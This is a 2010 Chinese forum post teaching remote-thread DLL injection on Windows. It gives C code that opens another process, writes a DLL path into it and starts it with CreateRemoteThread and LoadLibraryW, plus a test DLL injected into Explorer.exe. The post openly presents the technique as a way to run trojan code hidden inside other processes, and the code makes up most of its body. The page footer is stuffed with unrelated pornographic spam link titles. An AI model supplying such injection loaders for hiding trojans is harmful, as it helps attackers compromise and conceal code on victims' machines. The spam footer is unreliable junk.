<dfn id="is4kg"></dfn>
  • <ul id="is4kg"></ul>
  • <abbr id="is4kg"></abbr>
  • <ul id="is4kg"></ul>
    <bdo id="is4kg"></bdo>

    Rss & SiteMap

    曙海教育集團(tuán)論壇 http://www.bjzhda.cn

    曙海教育集團(tuán)論壇
    共1 條記錄, 每頁(yè)顯示 10 條, 頁(yè)簽: [1]
    [瀏覽完整版]

    標(biāo)題:用vb和c語(yǔ)言來(lái)進(jìn)行遠(yuǎn)程線形技術(shù)

    1樓
    wangxinxin 發(fā)表于:2010-12-14 14:39:24

    遠(yuǎn)程線程技術(shù)指的是通過(guò)在另一個(gè)進(jìn)程中創(chuàng)建遠(yuǎn)程線程的方法進(jìn)入那個(gè)進(jìn)程的內(nèi)存地址空間。我們知道,在進(jìn)程中,可以通過(guò)CreateThread函數(shù)創(chuàng)建線程,被創(chuàng)建的新線程與主線程(就是進(jìn)程啟動(dòng)時(shí)被同時(shí)自動(dòng)建立的那個(gè)線程)共享地址空間以及其他的資源。 但是很少有人知道,通過(guò)CreateRemoteThread也同樣可以在另一個(gè)進(jìn)程內(nèi)創(chuàng)建新線程,被創(chuàng)建的遠(yuǎn)程線程同樣可以共享遠(yuǎn)程進(jìn)程(是遠(yuǎn)程進(jìn)程耶!)的地址空間,所以,實(shí)際上,我們通過(guò)一個(gè)遠(yuǎn)程線程,進(jìn)入了遠(yuǎn)程進(jìn)程的內(nèi)存地址空間,也就擁有了那個(gè)遠(yuǎn)程進(jìn)程相當(dāng)?shù)臋?quán)限。例如在遠(yuǎn)程進(jìn)程內(nèi)部啟動(dòng)一個(gè)DLL木馬(與進(jìn)入進(jìn)程內(nèi)部相比,啟動(dòng)一個(gè)DLL木馬是小意思,實(shí)際上我們可以隨意篡改那個(gè)遠(yuǎn)程進(jìn)程的數(shù)據(jù))。

      首先,我們通過(guò)OpenProcess 來(lái)打開(kāi)我們?cè)噲D嵌入的進(jìn)程(如果遠(yuǎn)程進(jìn)程不允許打開(kāi),那么嵌入就無(wú)法進(jìn)行了,這往往是由于權(quán)限不足引起的,解決方法是通過(guò)種種途徑提升本地進(jìn)程的權(quán)限) 

     hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | file://允許遠(yuǎn)程創(chuàng)建線程 
                    PROCESS_VM_OPERATION | file://允許遠(yuǎn)程VM操作 
                    PROCESS_VM_WRITE,//允許遠(yuǎn)程VM寫 
                    FALSE, dwRemoteProcessId ) 

      由于我們后面需要寫入遠(yuǎn)程進(jìn)程的內(nèi)存地址空間并建立遠(yuǎn)程線程,所以需要申請(qǐng)足夠的權(quán)限(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。 

      然后,我們可以建立LoadLibraryW函數(shù)這個(gè)線程來(lái)啟動(dòng)我們的DLL木馬,LoadLibraryW函數(shù)是在kernel32.dll中定義的,用來(lái)加載DLL文件,它只有一個(gè)參數(shù),就是DLL文件的絕對(duì)路徑名pszLibFileName,(也就是木馬DLL的全路徑文件名),但是由于木馬DLL是在遠(yuǎn)程進(jìn)程內(nèi)調(diào)用的,所以我們首先還需要將這個(gè)文件名復(fù)制到遠(yuǎn)程地址空間:(否則遠(yuǎn)程線程是無(wú)法讀到這個(gè)參數(shù)的) 

     file://計(jì)算DLL路徑名需要的內(nèi)存空間 
     int cb = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR); 
     file://使用VirtualAllocEx函數(shù)在遠(yuǎn)程進(jìn)程的內(nèi)存地址空間分配DLL文件名緩沖區(qū) 
     pszLibFileRemote = (PWSTR) VirtualAllocEx( hRemoteProcess, NULL, cb, 
                MEM_COMMIT, PAGE_READWRITE); 
     file://使用WriteProcessMemory函數(shù)將DLL的路徑名復(fù)制到遠(yuǎn)程進(jìn)程的內(nèi)存空間 
     iReturnCode = WriteProcessMemory(hRemoteProcess, 
                pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL); 
     file://計(jì)算LoadLibraryW的入口地址 
     PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE) 
         GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); 

      萬(wàn)事俱備,我們通過(guò)建立遠(yuǎn)程線程時(shí)的地址pfnStartAddr(實(shí)際上就是LoadLibraryW的入口地址)和傳遞的參數(shù)pszLibFileRemote(實(shí)際上是我們復(fù)制過(guò)去的木馬DLL的全路徑文件名)在遠(yuǎn)程進(jìn)程內(nèi)啟動(dòng)我們的木馬DLL: 

     file://啟動(dòng)遠(yuǎn)程線程LoadLibraryW,通過(guò)遠(yuǎn)程線程調(diào)用用戶的DLL文件 
     hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, 
                     pfnStartAddr, pszLibFileRemote, 0, NULL); 

      至此,遠(yuǎn)程嵌入順利完成,為了試驗(yàn)我們的DLL是不是已經(jīng)正常的在遠(yuǎn)程線程運(yùn)行,我編寫了以下的測(cè)試DLL: 

     BOOL APIENTRY DllMain(HANDLE hModule, DWORD reason, LPVOID lpReserved) 
       { 
        char szProcessId[64] ; 
        switch ( reason ) 
         { 
          case DLL_PROCESS_ATTACH: 
           { 
             file://獲取當(dāng)前進(jìn)程ID 
             _itoa ( GetCurrentProcessId(), szProcessId, 10 ); 
             MessageBox ( NULL, szProcessId, "RemoteDLL", MB_OK ); 
           } 
          default: 
          return TRUE; 
         } 
       } 

      當(dāng)我使用RmtDll.exe程序?qū)⑦@個(gè)TestDLL.dll嵌入Explorer.exe進(jìn)程后(PID=1208),該測(cè)試DLL彈出了1208字樣的確認(rèn)框,同時(shí)使用PS工具也能看到 

       Process ID: 1208 
       C:WINNTExplorer.exe (0x00400000) 
       …… 
       C:TestDLL.dll (0x100000000) 
       …… 

      這證明TestDLL.dll已經(jīng)在Explorer.exe進(jìn)程內(nèi)正確地運(yùn)行了。 

      無(wú)論是使用特洛伊DLL還是使用遠(yuǎn)程線程,都是讓木馬的核心代碼運(yùn)行于別的進(jìn)程的內(nèi)存空間,這樣不僅能很好地隱藏自己,也能更好的保護(hù)自己。

    共1 條記錄, 每頁(yè)顯示 10 條, 頁(yè)簽: [1]

    Copyright © 2000 - 2009 曙海教育集團(tuán)
    Powered By 曙海教育集團(tuán) Version 2.2
    Processed in .01563 s, 2 queries.
    主站蜘蛛池模板: 日本一道综合久久aⅴ免费| 老师粗又长好猛好爽视频| 影音先锋男人站| 亚洲av永久无码一区二区三区| 男人和女人做爽爽视频| 国产成人亚洲精品无码青青草原 | 中文字幕在线精品| 日韩欧美亚洲乱码中文字幕| 你懂的手机在线视频| 网曝门精品国产事件在线观看| 国产真实伦正在播放| maomiav923| 希岛婚前侵犯中文字幕在线 | 精品国精品自拍自在线| 国产日韩av在线播放| a国产成人免费视频| 岳一夜被你要了六次| 久久青草精品一区二区三区| 欧美大片一区二区| 免费五级在线观看日本片| 美女黄网站人色视频免费国产 | 国产精品亚洲专区无码不卡 | av免费网址在线观看| 岳又湿又紧粗又长进去好舒服| 久久精品国产精品亚洲精品| 欧美一级视频免费看| 伊人久久大香线蕉亚洲五月天 | 老熟女高潮一区二区三区| 国产日韩av在线播放| 95在线观看精品视频| 在线观看成人网站| 两腿之间的私密图片| 成年视频在线播放| 久久精品国产亚洲AV无码麻豆| 欧美xxxx做受欧美精品| 亚洲视屏在线观看| 玩弄放荡人妻少妇系列视频| 国产1区2区在线观看| 色多多视频免费网站下载| 国产成人精品久久综合| 3d动漫精品一区二区三区|